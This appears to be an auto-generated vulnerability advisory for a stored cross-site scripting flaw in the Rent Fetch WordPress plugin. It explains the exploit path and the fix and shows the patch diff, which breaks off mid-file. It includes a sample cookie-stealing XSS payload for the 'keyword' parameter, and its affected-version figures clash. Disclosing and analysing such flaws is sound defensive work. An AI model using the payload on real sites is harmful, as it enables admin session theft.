Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1931: Rent Fetch <= 0.32.4 – Unauthenticated Stored Cross-Site Scripting via 'keyword' Parameter (rentfetch)

CVE ID CVE-2026-1931
Plugin rentfetch
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 0.32.6
Patched Version 0.32.7
Disclosed February 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1931:
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the Rent Fetch WordPress plugin. The vulnerability exists in the plugin’s search analytics functionality, specifically in how user-supplied search parameters are processed and displayed in the WordPress admin dashboard. Attackers can inject malicious JavaScript payloads via the ‘keyword’ parameter during property or floorplan searches, which then executes when administrators view the plugin’s analytics page. The CVSS score of 7.2 reflects the high impact of stored XSS in an administrative context.

The root cause lies in insufficient input sanitization and output escaping of user-supplied search parameters in the plugin’s search analytics tracking system. The vulnerable code path begins in rentfetch/lib/admin/search-analytics.php where user search parameters are collected. The function rentfetch_track_search_query() processes parameters including the ‘keyword’ parameter without adequate sanitization before storing them. These unsanitized parameters are then retrieved and displayed in the admin interface via the AJAX handler at rentfetch/lib/admin/ajax-handlers/warm-cache.php. The display logic in the JavaScript code within rentfetch/lib/admin/options-sections/options-general-section.php directly injects the unsanitized query parameters into the DOM using jQuery’s html() method without escaping.

Exploitation occurs through the plugin’s public search functionality. Attackers send HTTP requests to the site’s search endpoints with malicious JavaScript payloads in the ‘keyword’ parameter. For example, a request to the property search endpoint might include parameters like ‘keyword=alert(document.cookie)’. The plugin tracks these searches and stores the raw parameters. When an administrator visits the plugin’s Performance settings page (wp-admin/admin.php?page=rentfetch-options&tab=general&section=performance), the JavaScript code in the ‘Popular Searches’ section fetches the stored search data via admin-ajax.php with action ‘rentfetch_get_popular_searches’ and directly injects the malicious keyword into the page without escaping.

The patch addresses the vulnerability through multiple layers of defense. First, it introduces a new function rentfetch_sanitize_search_params() in rentfetch/lib/admin/search-analytics.php that recursively sanitizes all search parameters using sanitize_text_field(). Second, the AJAX handler in warm-cache.php now calls this sanitization function before processing parameters. Third, the patch adds output escaping using esc_html() for all data fields returned by the AJAX handler, including the ‘display_query’ field that contains the keyword parameter. Fourth, the JavaScript display code now uses the sanitized ‘display_query’ field instead of raw query strings, and the HTML structure includes CSS classes that prevent certain injection vectors.

Successful exploitation allows unauthenticated attackers to execute arbitrary JavaScript in the context of WordPress administrators. This can lead to session hijacking, account takeover, site defacement, data theft, and privilege escalation. Since the XSS payload executes in the admin dashboard, attackers can create new administrator accounts, modify plugin settings, inject backdoors, or redirect the site to malicious domains. The stored nature means the attack persists and affects all administrators who view the analytics page.

Differential between vulnerable and patched code

Code Diff
--- a/rentfetch/lib/admin/ajax-handlers/warm-cache.php
+++ b/rentfetch/lib/admin/ajax-handlers/warm-cache.php
@@ -95,14 +95,28 @@

 	$formatted = array();
 	foreach ( $popular as $search_key => $search_data ) {
-		$query_string = http_build_query( $search_data['params'] );
+		$sanitized_params = rentfetch_sanitize_search_params( $search_data['params'] );
+		$query_string     = http_build_query( $sanitized_params );
+		$display_params   = $sanitized_params;
+
+		if ( empty( $display_params ) || ( 1 === count( $display_params ) && isset( $display_params['availability'] ) && '1' === (string) $display_params['availability'] ) ) {
+			$display_query = '(all available)';
+		} else {
+			unset( $display_params['availability'] );
+			$display_query = urldecode( http_build_query( $display_params ) );
+			if ( '' === $display_query ) {
+				$display_query = '(all available)';
+			}
+		}
+
 		$percentage   = $total_searches > 0 ? round( ( $search_data['count'] / $total_searches ) * 100, 1 ) : 0;
 		$formatted[]  = array(
-			'type'       => $search_data['type'],
-			'query'      => empty( $query_string ) ? '(no filters)' : $query_string,
-			'count'      => $search_data['count'],
-			'percentage' => $percentage,
-			'last_used'  => human_time_diff( $search_data['last_used'] ) . ' ago',
+			'type'       => esc_html( sanitize_text_field( $search_data['type'] ) ),
+			'query'      => esc_html( $query_string ),
+			'display_query' => esc_html( $display_query ),
+			'count'      => esc_html( (string) absint( $search_data['count'] ) ),
+			'percentage' => esc_html( (string) $percentage ),
+			'last_used'  => esc_html( human_time_diff( absint( $search_data['last_used'] ) ) . ' ago' ),
 		);
 	}

--- a/rentfetch/lib/admin/options-pages-setup/main-options-page-wrapper-markup.php
+++ b/rentfetch/lib/admin/options-pages-setup/main-options-page-wrapper-markup.php
@@ -37,7 +37,7 @@
 				echo '<nav class="nav-tab-wrapper">';

 					$active = ( 'general' === $tab ) ? 'nav-tab-active' : '';
-					printf( '<a href="%s" class="nav-tab %s">%s</a>', esc_url( admin_url( 'admin.php?page=rentfetch-options' ) ), esc_html( $active ), esc_html( 'General' ) );
+					printf( '<a href="%s" class="nav-tab %s">%s</a>', esc_url( admin_url( 'admin.php?page=rentfetch-options&tab=general&section=data-sync' ) ), esc_html( $active ), esc_html( 'General' ) );

 					$active = ( 'floorplans' === $tab ) ? 'nav-tab-active' : '';
 					printf( '<a href="%s" class="nav-tab %s">%s</a>', esc_url( admin_url( 'admin.php?page=rentfetch-options&tab=floorplans' ) ), esc_html( $active ), esc_html( 'Floor Plan Settings' ) );
--- a/rentfetch/lib/admin/options-sections/options-general-section.php
+++ b/rentfetch/lib/admin/options-sections/options-general-section.php
@@ -20,63 +20,100 @@
 	add_option( 'rentfetch_options_enable_search_indexes', '1' );
 	add_option( 'rentfetch_options_enable_cache_warming', '0' );
 	add_option( 'rentfetch_options_enable_search_tracking', '1' );
+	add_option( 'rentfetch_options_enable_analytics', '1' );
+	add_option( 'rentfetch_options_enable_analytics_debug', '0' );
 }
 register_activation_hook( RENTFETCH_BASENAME, 'rentfetch_settings_set_defaults_general' );

 /**
- * Adds the general settings section to the Rent Fetch settings page.
+ * Get the general settings section from the query string.
+ *
+ * @return string
  */
-function rentfetch_settings_general() {
+function rentfetch_settings_get_general_section() {
+	$section = isset( $_GET['section'] ) ? sanitize_text_field( wp_unslash( $_GET['section'] ) ) : '';
+
+	if ( '' === $section ) {
+		return 'data-sync';
+	}

-	// Silence is golden.
+	return $section;
 }
-add_action( 'rentfetch_do_settings_general', 'rentfetch_settings_general' );

 /**
- * Add the notice about the sync functionality (this will be removed by the sync plugin if it's installed)
- *
- * @return void
+ * Adds the general settings section to the Rent Fetch settings page.
  */
-function rentfetch_settings_sync_functionality_notice() {
+function rentfetch_settings_general() {
+	$section = rentfetch_settings_get_general_section();
+
 	echo '<section id="rent-fetch-general-page" class="options-container">';
-
 		echo '<div class="rent-fetch-options-nav-wrap">';
 			echo '<div class="rent-fetch-options-sticky-wrap">';
-				// add a wordpress save button here
 				submit_button();
+
+				echo '<ul class="rent-fetch-options-submenu">';
+
+					$active = ( 'data-sync' === $section ) ? 'tab-active' : '';
+					printf( '<li><a href="?page=rentfetch-options&tab=general&section=data-sync" class="tab %s">Data Sync</a></li>', esc_html( $active ) );
+
+					$active = ( 'performance' === $section ) ? 'tab-active' : '';
+					printf( '<li><a href="?page=rentfetch-options&tab=general&section=performance" class="tab %s">Performance</a></li>', esc_html( $active ) );
+
+					$active = ( 'analytics' === $section ) ? 'tab-active' : '';
+					printf( '<li><a href="?page=rentfetch-options&tab=general&section=analytics" class="tab %s">Analytics</a></li>', esc_html( $active ) );
+
+				echo '</ul>';
 			echo '</div>';
 		echo '</div>';
-
+
 		echo '<div class="container">';
-		?>
-		<div class="header">
-			<h2 class="title">Rent Fetch General Settings</h2>
-			<p class="description">Let’s get started. Select from the options below to configure Rent Fetch and any integrations.</p>
-		</div>
+			if ( 'performance' === $section ) {
+				do_action( 'rentfetch_do_settings_general_performance' );
+			} elseif ( 'analytics' === $section ) {
+				do_action( 'rentfetch_do_settings_general_analytics' );
+			} else {
+				do_action( 'rentfetch_do_settings_general_data_sync' );
+			}
+		echo '</div><!-- .container -->';
+	echo '</section><!-- #rent-fetch-general-page -->';
+}
+add_action( 'rentfetch_do_settings_general', 'rentfetch_settings_general' );

-		<div class="row">
-			<div class="section">
-				<!-- <div class="white-box"> -->
-					<h2 class="title">Our premium availability syncing addon</h2>
-					<p class="description">You can already manually enter data for as many properties, floorplans, and units as you'd like, and all layouts are enabled for this information.</p><p>However, if you'd like to automate the addition of properties and sync availability information hourly, we offer the <strong>Rent Fetch Sync</strong> addon to sync data with the Yardi/RentCafe, Realpage, Appfolio, and Entrata platforms. More information at <a href="https://rentfetch.io" target="_blank">rentfetch.io</a></p>
-				<!-- </div> -->
-			</div>
-		</div>
-		<?php
-		do_action( 'rentfetch_do_settings_general_shared' );
+/**
+ * Add the notice about the sync functionality (this will be removed by the sync plugin if it's installed).
+ *
+ * @return void
+ */
+function rentfetch_settings_sync_functionality_notice() {
+	?>
+	<div class="header">
+		<h2 class="title">Data Sync</h2>
+		<p class="description">Set up data sync settings and integrations for Rent Fetch.</p>
+	</div>

-		echo '</div>';
-	echo '</section><!-- #rent-fetch-general-page -->';
+	<div class="row">
+		<div class="section">
+			<h2 class="title">Automated Availability Sync Add-On</h2>
+			<p class="description">Rent Fetch already supports unlimited manual entry for properties, floor plans, and units, and all layouts work with manually entered data.</p>
+			<p>Need automation? <strong>Rent Fetch Sync</strong> can import properties and sync availability hourly with Yardi/RentCafe, RealPage, AppFolio, and Entrata. Learn more at <a href="https://rentfetch.io" target="_blank">rentfetch.io</a>.</p>
+		</div>
+	</div>
+	<?php
 }
-add_action( 'rentfetch_do_settings_general', 'rentfetch_settings_sync_functionality_notice', 25 );
+add_action( 'rentfetch_do_settings_general_data_sync', 'rentfetch_settings_sync_functionality_notice', 25 );

 /**
- * Add shared general settings
+ * Output the performance section of general settings.
  *
  * @return void
  */
-function rentfetch_settings_shared_general() {
+function rentfetch_settings_general_performance() {
 	?>
+	<div class="header">
+		<h2 class="title">Performance</h2>
+		<p class="description">Configure search result caching and search performance optimization settings.</p>
+	</div>
+
 	<div class="row">
 		<div class="section">
 			<label class="label-large">Search Result Caching</label>
@@ -114,6 +151,28 @@
 					outline: none;
 					box-shadow: none;
 				}
+				#rentfetch-popular-searches-container {
+					overflow-x: auto;
+					max-width: 100%;
+				}
+				#rentfetch-popular-searches-container table.rentfetch-popular-searches-table {
+					width: 100%;
+					table-layout: fixed;
+					margin: 0;
+				}
+				#rentfetch-popular-searches-container table.rentfetch-popular-searches-table th,
+				#rentfetch-popular-searches-container table.rentfetch-popular-searches-table td {
+					padding: 8px 10px;
+					vertical-align: top;
+				}
+				#rentfetch-popular-searches-container table.rentfetch-popular-searches-table th {
+					white-space: nowrap;
+				}
+				#rentfetch-popular-searches-container .rentfetch-search-query {
+					white-space: normal;
+					overflow-wrap: anywhere;
+					word-break: break-word;
+				}
 			</style>

 			<script>
@@ -201,28 +260,19 @@
 								nonce: '<?php echo esc_js( wp_create_nonce( 'rentfetch_popular_searches' ) ); ?>'
 							}, function(response) {
 								if (response.success && response.data.searches.length > 0) {
-									var html = '<table class="widefat striped" style="border: none;"><thead><tr>';
-									html += '<th style="width: 100px;">Type</th>';
+									var html = '<table class="widefat striped rentfetch-popular-searches-table" style="border: none;"><thead><tr>';
+									html += '<th style="width: 90px;">Type</th>';
 									html += '<th>Search Query</th>';
-									html += '<th style="width: 120px; text-align: center;">Times Hit</th>';
-									html += '<th style="width: 140px;">Last Executed</th>';
+									html += '<th style="width: 110px; text-align: center;">Times Hit</th>';
+									html += '<th style="width: 130px;">Last Executed</th>';
 									html += '</tr></thead><tbody>';

 									$.each(response.data.searches, function(index, search) {
-										var decodedQuery = decodeURIComponent(search.query.replace(/+/g, ' '));
-										var displayQuery = decodedQuery;
-
-										// If query is empty or only has availability, show as "all available"
-										if (decodedQuery === '' || decodedQuery === 'availability=1') {
-											displayQuery = '(all available)';
-										} else {
-											// Remove availability parameter from other queries for cleaner display
-											displayQuery = displayQuery.replace(/&?availability=[^&]*/g, '').replace(/^&/, '');
-										}
-
+										var displayQuery = search.display_query || '';
+
 										html += '<tr>';
 										html += '<td><span style="display: inline-block; padding: 3px 8px; background: #f0f0f1; border-radius: 3px; font-size: 11px; text-transform: uppercase; font-weight: 600; color: #2c3338;">' + search.type + '</span></td>';
-										html += '<td style="font-family: Consolas, Monaco, monospace; font-size: 12px; color: #50575e;">' + displayQuery + '</td>';
+										html += '<td class="rentfetch-search-query" style="font-family: Consolas, Monaco, monospace; font-size: 12px; color: #50575e;">' + displayQuery + '</td>';
 										html += '<td style="text-align: center; font-weight: 600; color: #2271b1;">' + search.count + '</td>';
 										html += '<td style="color: #646970; font-size: 13px;">' + search.last_used + '</td>';
 										html += '</tr>';
@@ -304,33 +354,55 @@
 	</div>
 	<?php
 }
-add_action( 'rentfetch_do_settings_general_shared', 'rentfetch_settings_shared_general' );
+add_action( 'rentfetch_do_settings_general_performance', 'rentfetch_settings_general_performance' );

 /**
- * Save the general settings
+ * Output the analytics section of general settings.
+ *
+ * @return void
  */
-function rentfetch_save_settings_general() {
-
-	// Get the tab and section.
-	$tab     = rentfetch_settings_get_tab();
-	$section = rentfetch_settings_get_section();
-
-	// this particular settings page has no tab or section, and it's the only one that doesn't.
-	if ( $tab || $section ) {
-		return;
-	}
+function rentfetch_settings_general_analytics() {
+	?>
+	<div class="header">
+		<h2 class="title">Analytics</h2>
+		<p class="description">Enable or disable analytics event tracking for Rent Fetch templates.</p>
+	</div>

-	$nonce = isset( $_POST['rentfetch_main_options_nonce_field'] ) ? sanitize_text_field( wp_unslash( $_POST['rentfetch_main_options_nonce_field'] ) ) : '';
+	<div class="row">
+		<div class="section">
+			<label class="label-large">Analytics</label>
+			<p class="description">Enable or disable analytics event tracking for Rent Fetch templates. When enabled, events are sent to any existing Google Analytics or Tag Manager setup found on the site.</p>

-	// * Verify the nonce
-	if ( ! wp_verify_nonce( wp_unslash( $nonce ), 'rentfetch_main_options_nonce_action' ) ) {
-		die( 'Security check failed' );
-	}
+			<ul class="checkboxes">
+				<li>
+					<label for="rentfetch_options_enable_analytics">
+						<input type="checkbox" name="rentfetch_options_enable_analytics" id="rentfetch_options_enable_analytics" <?php checked( get_option( 'rentfetch_options_enable_analytics', '1' ), '1' ); ?>>
+						Enable analytics tracking (recommended)
+					</label>
+				</li>
+				<li>
+					<label for="rentfetch_options_enable_analytics_debug">
+						<input type="checkbox" name="rentfetch_options_enable_analytics_debug" id="rentfetch_options_enable_analytics_debug" <?php checked( get_option( 'rentfetch_options_enable_analytics_debug', '0' ), '1' ); ?>>
+						Enable analytics debug overlay on click
+					</label>
+				</li>
+			</ul>
+		</div>
+	</div>
+	<?php
+}
+add_action( 'rentfetch_do_settings_general_analytics', 'rentfetch_settings_general_analytics' );

-	// * When we save this particular batch of settings, we want to re-check the license
+/**
+ * Save general data sync settings.
+ *
+ * @return void
+ */
+function rentfetch_save_settings_general_data_sync() {
+	// * When we save this particular batch of settings, we want to re-check the license.
 	delete_transient( 'rentfetchsync_properties_limit' );

-	// * When we save this particular batch of settings, we might be changing the sync settings, so we need to unschedule all the sync actions
+	// * When we save this particular batch of settings, we might be changing the sync settings, so we need to unschedule all the sync actions.
 	if ( function_exists( 'as_unschedule_all_actions' ) ) {
 		as_unschedule_all_actions( 'rfs_do_sync' );
 		as_unschedule_all_actions( 'rfs_yardi_do_delete_orphans' );
@@ -437,7 +509,6 @@
 		update_option( 'rentfetch_options_entrata_integration_creds_entrata_property_ids', $options_entrata_integration_creds_entrata_property_ids );
 	}

-
 	// Text field.
 	if ( isset( $_POST['rentfetch_options_rentmanager_integration_creds_rentmanager_companycode'] ) ) {
 		// Remove ".api.rentmanager.com" and anything that follows it.
@@ -448,8 +519,7 @@
 	}

 	if ( function_exists( 'rfs_get_rentmanager_properties_from_setting' ) ) {
-		// this function is defined in the rentfetch-sync plugin, and allows for prefilling the properties for Rent Manager, where there are multiple locations possible.
-		// and it's not feasible to have the user enter them all manually.
+		// This function is defined in the rentfetch-sync plugin, and allows for prefilling the properties for Rent Manager.
 		rfs_get_rentmanager_properties_from_setting();
 	}

@@ -488,24 +558,34 @@
 		update_option( 'rentfetch_options_appfolio_integration_creds_appfolio_property_ids', $options_appfolio_integration_creds_appfolio_property_ids );
 	}

-	// Checkbox field - Enable query caching (inverted: checked = '0' for disable, unchecked = '1' for disable)
+	// * When we save this particular batch of settings, we want to always clear the transient that holds the API info.
+	delete_transient( 'rentfetch_api_info' );
+}
+
+/**
+ * Save general performance settings.
+ *
+ * @return void
+ */
+function rentfetch_save_settings_general_performance() {
+	// Checkbox field - Enable query caching (inverted: checked = '0' for disable, unchecked = '1' for disable).
 	$disable_query_caching = isset( $_POST['rentfetch_options_disable_query_caching'] ) ? '0' : '1';
 	update_option( 'rentfetch_options_disable_query_caching', $disable_query_caching );

-	// Checkbox field - Enable cache warming (checked = '1', unchecked = '0')
-	$enable_cache_warming = isset( $_POST['rentfetch_options_enable_cache_warming'] ) ? '1' : '0';
+	// Checkbox field - Enable cache warming (checked = '1', unchecked = '0').
+	$enable_cache_warming   = isset( $_POST['rentfetch_options_enable_cache_warming'] ) ? '1' : '0';
 	$previous_cache_warming = get_option( 'rentfetch_options_enable_cache_warming', '0' );
 	update_option( 'rentfetch_options_enable_cache_warming', $enable_cache_warming );

-	// Schedule or unschedule cache warming based on setting change
+	// Schedule or unschedule cache warming based on setting change.
 	if ( $enable_cache_warming !== $previous_cache_warming ) {
 		if ( function_exists( 'rentfetch_schedule_cache_warming' ) ) {
 			rentfetch_schedule_cache_warming();
 		}
 	}

-	// If caching is disabled (value is '1'), clear existing transients
-	if ( $disable_query_caching === '1' ) {
+	// If caching is disabled (value is '1'), clear existing transients.
+	if ( '1' === $disable_query_caching ) {
 		global $wpdb;
 		$transients = $wpdb->get_col( "SELECT option_name FROM {$wpdb->options} WHERE option_name LIKE '_transient_rentfetch_%'" );
 		foreach ( $transients as $transient ) {
@@ -514,23 +594,70 @@
 		}
 	}

-	// Checkbox field - Enable search indexes
+	// Checkbox field - Enable search indexes.
 	$enable_search_indexes = isset( $_POST['rentfetch_options_enable_search_indexes'] ) ? '1' : '0';
 	$previous_value        = get_option( 'rentfetch_options_enable_search_indexes', '1' );
 	update_option( 'rentfetch_options_enable_search_indexes', $enable_search_indexes );

-	// If the setting changed, create or remove indexes accordingly
+	// If the setting changed, create or remove indexes accordingly.
 	if ( $enable_search_indexes !== $previous_value ) {
 		if ( '1' === $enable_search_indexes ) {
-			// Create indexes
 			rentfetch_create_indexes();
 		} else {
-			// Remove indexes
 			rentfetch_remove_indexes();
 		}
 	}
+}

-	// * When we save this particular batch of settings, we want to always clear the transient that holds the API info.
-	delete_transient( 'rentfetch_api_info' );
+/**
+ * Save general analytics settings.
+ *
+ * @return void
+ */
+function rentfetch_save_settings_general_analytics() {
+	// Checkbox field - Enable analytics.
+	$enable_analytics = isset( $_POST['rentfetch_options_enable_analytics'] ) ? '1' : '0';
+	update_option( 'rentfetch_options_enable_analytics', $enable_analytics );
+
+	// Checkbox field - Enable analytics debug overlay.
+	$enable_analytics_debug = isset( $_POST['rentfetch_options_enable_analytics_debug'] ) ? '1' : '0';
+	update_option( 'rentfetch_options_enable_analytics_debug', $enable_analytics_debug );
+}
+
+/**
+ * Save the general settings.
+ *
+ * @return void
+ */
+function rentfetch_save_settings_general() {
+	$tab     = rentfetch_settings_get_tab();
+	$section = rentfetch_settings_get_section();
+
+	if ( $tab && 'general' !== $tab ) {
+		return;
+	}
+
+	if ( ! $section ) {
+		$section = 'data-sync';
+	}
+
+	if ( ! in_array( $section, array( 'data-sync', 'performance', 'analytics' ), true ) ) {
+		return;
+	}
+
+	$nonce = isset( $_POST['rentfetch_main_options_nonce_field'] ) ? sanitize_text_field( wp_unslash( $_POST['rentfetch_main_options_nonce_field'] ) ) : '';
+
+	// * Verify the nonce.
+	if ( ! wp_verify_nonce( wp_unslash( $nonce ), 'rentfetch_main_options_nonce_action' ) ) {
+		die( 'Security check failed' );
+	}
+
+	if ( 'performance' === $section ) {
+		rentfetch_save_settings_general_performance();
+	} elseif ( 'analytics' === $section ) {
+		rentfetch_save_settings_general_analytics();
+	} else {
+		rentfetch_save_settings_general_data_sync();
+	}
 }
-add_action( 'rentfetch_save_settings', 'rentfetch_save_settings_general' );
 No newline at end of file
+add_action( 'rentfetch_save_settings', 'rentfetch_save_settings_general' );
--- a/rentfetch/lib/admin/search-analytics.php
+++ b/rentfetch/lib/admin/search-analytics.php
@@ -10,6 +10,31 @@
 }

 /**
+ * Sanitize search parameters for analytics storage/output.
+ *
+ * @param array $params Search parameters.
+ * @return array Sanitized parameters.
+ */
+function rentfetch_sanitize_search_params( $params ) {
+	$sanitized = array();
+
+	foreach ( $params as $key => $value ) {
+		if ( is_array( $value ) ) {
+			$sanitized[ $key ] = rentfetch_sanitize_search_params( $value );
+			continue;
+		}
+
+		if ( is_object( $value ) ) {
+			continue;
+		}
+
+		$sanitized[ $key ] = sanitize_text_field( wp_unslash( (string) $value ) );
+	}
+
+	return $sanitized;
+}
+
+/**
  * Track search queries for analytics
  *
  * @param string $search_type Type of search (properties or floorplans).
@@ -31,6 +56,9 @@
 		ARRAY_FILTER_USE_BOTH
 	);

+	$clean_params = rentfetch_sanitize_search_params( $clean_params );
+	$clean_params = array_filter( $clean_params );
+
 	// Sort params for consistent cache keys.
 	ksort( $clean_params );

--- a/rentfetch/lib/common/analytics-events.php
+++ b/rentfetch/lib/common/analytics-events.php
@@ -0,0 +1,203 @@
+<?php
+/**
+ * Analytics event helpers for Rent Fetch.
+ *
+ * @package rentfetch
+ */
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
+/**
+ * Build data attributes for analytics context (no event name).
+ *
+ * @param array $context Context values (property_name, property_city, floorplan_name).
+ * @return string Data attributes.
+ */
+function rentfetch_get_tracking_context_attributes( $context = array() ) {
+	$attributes = array();
+
+	if ( ! empty( $context['property_id'] ) ) {
+		$attributes['data-rentfetch-property-id'] = $context['property_id'];
+	}
+
+	if ( ! empty( $context['property_name'] ) ) {
+		$attributes['data-rentfetch-property-name'] = $context['property_name'];
+	}
+
+	if ( ! empty( $context['property_city'] ) ) {
+		$attributes['data-rentfetch-property-city'] = $context['property_city'];
+	}
+
+	if ( ! empty( $context['floorplan_id'] ) ) {
+		$attributes['data-rentfetch-floorplan-id'] = $context['floorplan_id'];
+	}
+
+	if ( ! empty( $context['floorplan_name'] ) ) {
+		$attributes['data-rentfetch-floorplan-name'] = $context['floorplan_name'];
+	}
+
+	$output = '';
+	foreach ( $attributes as $key => $value ) {
+		$output .= sprintf( ' %s="%s"', $key, esc_attr( $value ) );
+	}
+
+	return $output;
+}
+
+/**
+ * Build data attributes for analytics events.
+ *
+ * @param string $event_name Event name (prefixed with rentfetch_).
+ * @param array  $context Context values (property_name, property_city, floorplan_name).
+ * @return string Data attributes.
+ */
+function rentfetch_get_tracking_data_attributes( $event_name, $context = array() ) {
+	if ( empty( $event_name ) ) {
+		return '';
+	}
+
+	if ( 0 !== strpos( $event_name, 'rentfetch_' ) ) {
+		$event_name = 'rentfetch_' . ltrim( $event_name, '_' );
+	}
+
+	$attributes = array(
+		'data-rentfetch-event' => $event_name,
+	);
+
+	if ( ! empty( $context['property_id'] ) ) {
+		$attributes['data-rentfetch-property-id'] = $context['property_id'];
+	}
+
+	if ( ! empty( $context['property_name'] ) ) {
+		$attributes['data-rentfetch-property-name'] = $context['property_name'];
+	}
+
+	if ( ! empty( $context['property_city'] ) ) {
+		$attributes['data-rentfetch-property-city'] = $context['property_city'];
+	}
+
+	if ( ! empty( $context['floorplan_id'] ) ) {
+		$attributes['data-rentfetch-floorplan-id'] = $context['floorplan_id'];
+	}
+
+	if ( ! empty( $context['floorplan_name'] ) ) {
+		$attributes['data-rentfetch-floorplan-name'] = $context['floorplan_name'];
+	}
+
+	$output = '';
+	foreach ( $attributes as $key => $value ) {
+		$output .= sprintf( ' %s="%s"', $key, esc_attr( $value ) );
+	}
+
+	return $output;
+}
+
+/**
+ * Build tracking context for a property.
+ *
+ * @param string|null $property_id Optional property_id meta value.
+ * @param int|null    $post_id Optional property post ID.
+ * @return array
+ */
+function rentfetch_get_property_tracking_context( $property_id = null, $post_id = null ) {
+	if ( $property_id ) {
+		$post_id = rentfetch_get_post_id_from_property_id( $property_id );
+	}
+
+	if ( ! $post_id ) {
+		$post_id = get_the_ID();
+	}
+
+	if ( ! $post_id ) {
+		$post_id = get_queried_object_id();
+	}
+
+	if ( ! $post_id ) {
+		return array();
+	}
+
+	$property_name = get_the_title( $post_id );
+	$property_city = get_post_meta( $post_id, 'city', true );
+	$property_id_meta = get_post_meta( $post_id, 'property_id', true );
+
+	return array(
+		'property_id'   => $property_id_meta ? sanitize_text_field( $property_id_meta ) : null,
+		'property_name' => $property_name ? sanitize_text_field( $property_name ) : null,
+		'property_city' => $property_city ? sanitize_text_field( $property_city ) : null,
+	);
+}
+
+/**
+ * Build tracking context for a floorplan.
+ *
+ * @param int|null $floorplan_id Optional floorplan post ID.
+ * @return array
+ */
+function rentfetch_get_floorplan_tracking_context( $floorplan_id = null ) {
+	if ( ! $floorplan_id ) {
+		$floorplan_id = get_the_ID();
+	}
+
+	if ( ! $floorplan_id ) {
+		$floorplan_id = get_queried_object_id();
+	}
+
+	if ( ! $floorplan_id ) {
+		return array();
+	}
+
+	$floorplan_name   = get_the_title( $floorplan_id );
+	$floorplan_id_meta = get_post_meta( $floorplan_id, 'floorplan_id', true );
+	$property_id      = get_post_meta( $floorplan_id, 'property_id', true );
+	$property_post    = $property_id ? rentfetch_get_post_id_from_property_id( $property_id ) : null;
+
+	$property_name = $property_post ? get_the_title( $property_post ) : null;
+	$property_city = $property_post ? get_post_meta( $property_post, 'city', true ) : null;
+
+	return array(
+		'property_id'   => $property_id ? sanitize_text_field( $property_id ) : null,
+		'property_name' => $property_name ? sanitize_text_field( $property_name ) : null,
+		'property_city' => $property_city ? sanitize_text_field( $property_city ) : null,
+		'floorplan_id'  => $floorplan_id_meta ? sanitize_text_field( $floorplan_id_meta ) : null,
+		'floorplan_name' => $floorplan_name ? sanitize_text_field( $floorplan_name ) : null,
+	);
+}
+
+/**
+ * Enqueue analytics events script on single property/floorplan pages.
+ *
+ * @return void
+ */
+function rentfetch_enqueue_analytics_events_script() {
+	$enabled = get_option( 'rentfetch_options_enable_analytics', '1' );
+
+	if ( '1' !== $enabled ) {
+		return;
+	}
+
+	if ( is_singular( array( 'properties', 'floorplans' ) ) ) {
+		$debug_option = get_option( 'rentfetch_options_enable_analytics_debug', '0' );
+		$debug_enabled = in_array( $debug_option, array( '1', 1, true, 'true', 'yes' ), true );
+		$debug_override = isset( $_GET['rentfetch_debug'] ) ? sanitize_text_field( wp_unslash( $_GET['rentfetch_debug'] ) ) : '';
+
+		if ( $debug_override !== '' ) {
+			$debug_enabled = in_array( $debug_override, array( '1', 'true', 'yes', 'on' ), true );
+		}
+
+		wp_enqueue_script( 'rentfetch-analytics-events' );
+		$debug_allowed = is_user_logged_in() && current_user_can( 'manage_options' );
+
+		wp_localize_script(
+			'rentfetch-analytics-events',
+			'rentfetchAnalyticsSettings',
+			array(
+				'enabled' => ( '1' === $enabled ),
+				'debug'   => $debug_enabled,
+				'debugAllowed' => $debug_allowed,
+			)
+		);
+	}
+}
+add_action( 'wp_enqueue_scripts', 'rentfetch_enqueue_analytics_events_script' );
--- a/rentfetch/lib/common/functions-floorplans.php
+++ b/rentfetch/lib/common/functions-floorplans.php
@@ -488,13 +488,14 @@

 	$link   = get_post_meta( get_the_ID(), 'availability_url', true );
 	$target = rentfetch_get_link_target( $link );
+	$tracking_attrs = rentfetch_get_tracking_data_attributes( 'rentfetch_applynow_click', rentfetch_get_floorplan_tracking_context() );

 	// bail if no link is set.
 	if ( false === $link || empty( $link ) ) {
 		return false;
 	}

-	return sprintf( '<a href="%s" target="%s" class="rentfetch-button rentfetch-floorplan-availability-button">%s</a>', $link, $target, $button_label );
+	return sprintf( '<a href="%s" target="%s" class="rentfetch-button rentfetch-floorplan-availability-button"%s>%s</a>', $link, $target, $tracking_attrs, $button_label );
 }
 add_filter( 'rentfetch_floorplan_default_availability_button_markup', 'rentfetch_floorplan_default_availability_button_markup' );

@@ -535,13 +536,14 @@

 	$link   = get_option( 'rentfetch_options_unavailability_button_link' );
 	$target = rentfetch_get_link_target( $link );
+	$tracking_attrs = rentfetch_get_tracking_data_attributes( 'rentfetch_unavailability_click', rentfetch_get_floorplan_tracking_context() );

 	// bail if no link is set.
 	if ( false === $link || empty( $link ) ) {
 		return false;
 	}

-	return sprintf( '<a href="%s" target="%s" class="rentfetch-button rentfetch-floorplan-unavailability-button">%s</a>', $link, $target, $button_label );
+	return sprintf( '<a href="%s" target="%s" class="rentfetch-button rentfetch-floorplan-unavailability-button"%s>%s</a>', $link, $target, $tracking_attrs, $button_label );
 }
 add_filter( 'rentfetch_floorplan_default_unavailability_button_markup', 'rentfetch_floorplan_default_unavailability_button_markup' );

@@ -573,8 +575,9 @@
 	$button_label = get_option( 'rentfetch_options_contact_button_button_label', 'Contact' );
 	$link         = get_option( 'rentfetch_options_contact_button_link', false );
 	$target       = rentfetch_get_link_target( $link );
+	$tracking_attrs = rentfetch_get_tracking_data_attributes( 'rentfetch_contact_click', rentfetch_get_floorplan_tracking_context() );

-	return sprintf( '<a href="%s" target="%s" class="rentfetch-button rentfetch-floorplan-contact-button">%s</a>', $link, $target, $button_label );
+	return sprintf( '<a href="%s" target="%s" class="rentfetch-button rentfetch-floorplan-contact-button"%s>%s</a>', $link, $target, $tracking_attrs, $button_label );
 }
 add_filter( 'rentfetch_filter_floorplan_default_contact_button_markup', 'rentfetch_floorplan_default_contact_button_markup' );

@@ -595,7 +598,8 @@
 		return;
 	}

-	$button = sprintf( '<a href="%s" target="%s" class="rentfetch-button rentfetch-floorplan-tour-button">%s</a>', $fallback_link, $target, $label );
